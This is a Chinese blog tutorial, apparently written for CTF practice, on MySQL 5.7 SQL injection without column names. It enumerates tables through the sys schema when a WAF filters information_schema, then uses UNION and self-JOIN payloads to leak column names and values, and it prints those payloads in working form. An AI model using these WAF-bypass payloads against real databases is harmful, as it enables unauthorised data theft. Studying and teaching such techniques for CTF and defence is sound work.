無列名注入

寫在前邊

  又是沒有夢想的一天。。。這裏介紹一下無列名注入,要求mysql >= 5.7html

  CTF題 https://www.cnblogs.com/Lee-404/p/12830910.htmlmysql

information_schema

  在 mysql => 5 的版本中存在庫information_schema,記錄着mysql中全部表的結構,一般,在mysql sqli中,咱們會經過此庫中的表去獲取其餘表的結構,即表名,列名等。可是這個庫也會常常被WAF過濾。sql

sys

  在mysql5.7增長了sys 系統數據庫,經過這個庫能夠快速的瞭解系統的元數據信息這個庫確實能夠方便DBA發現數據庫的不少信息,解決性能瓶頸都提供了巨大幫助,簡單來講,當數據庫版本是5.7,information_schema庫被過濾時,能夠利用sys這個庫來讀取數據

測試

  新建一個庫,裏邊有兩張表數據庫

 

 

  咱們都知道,通常注入咱們都是在infromation_schema這個庫裏獲取咱們須要的post

    猜數據庫   性能

select schema_name from information_schema.schemata

   

   猜某庫的數據表測試

select table_name from information_schema.tables where table_schema='數據庫名'

  

  猜某表的全部列spa

Select column_name from information_schema.columns where table_name='數據表名'

    

 

   獲取某列的內容設計

Select  字段名 from 數據表

   這是咱們通常的注入流程,但當information_schema被過濾,mysql又是5.7時,咱們能夠利用sys庫來獲取信息3d

  

  先了解一下比較重要的視圖

sys.schema_auto_increment_columns

  在設計表中,通常會給一些字段添加自增,若是是,那麼這個視圖下保存的就是那些有自增字段表的數據庫的信息

 

  security是sqli-libs的數據庫,test庫中的test表是我本身建的,其中id字段爲自增,能夠在不使用information_schema的狀況下讀取信息

select table_schema from sys.schema_auto_increment_columns;  //查數據庫

 select table_name from sys.schema_auto_increment_columns where table_schema = 'test';  //查表

   和infromation_schema同樣的效果

schema_table_statistics_with_buffer,x$schema_table_statistics_with_buffer

  當表不存在自增字段時能夠利用這兩個視圖查詢,在user表中我沒設自增字段

  固然還有其餘的視圖能夠,具體利用方法和上述差很少

繞過information_schema無列名注入

    通過上述的,彷佛只能獲得表名,沒有完整的字段名,也就是說,咱們沒法獲取字段值,這時候就能夠利用無列名注入,我這裏直接本地測試了(環境懶得搭,僞裝過濾了)

    1.獲取字段數,用order by 或 group by

    2.union聯合查詢

select * from user where id = -1 union all select 1,2,3,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database();

 

     3.利用join獲取列名(join在CTF中常常使用的思路)

select * from user where id = -1 union all select * from (select * from user as a join user as b)as c;

    4.獲取更多字段名和字段值

 select * from user where id = -1 union all select*from (select * from user as a join user b using(id,username,passwd,phone))c;

 

參考連接

  https://www.anquanke.com/post/id/193512 

若有錯誤和不足請評論聯繫指出,謝謝

相關文章
相關標籤/搜索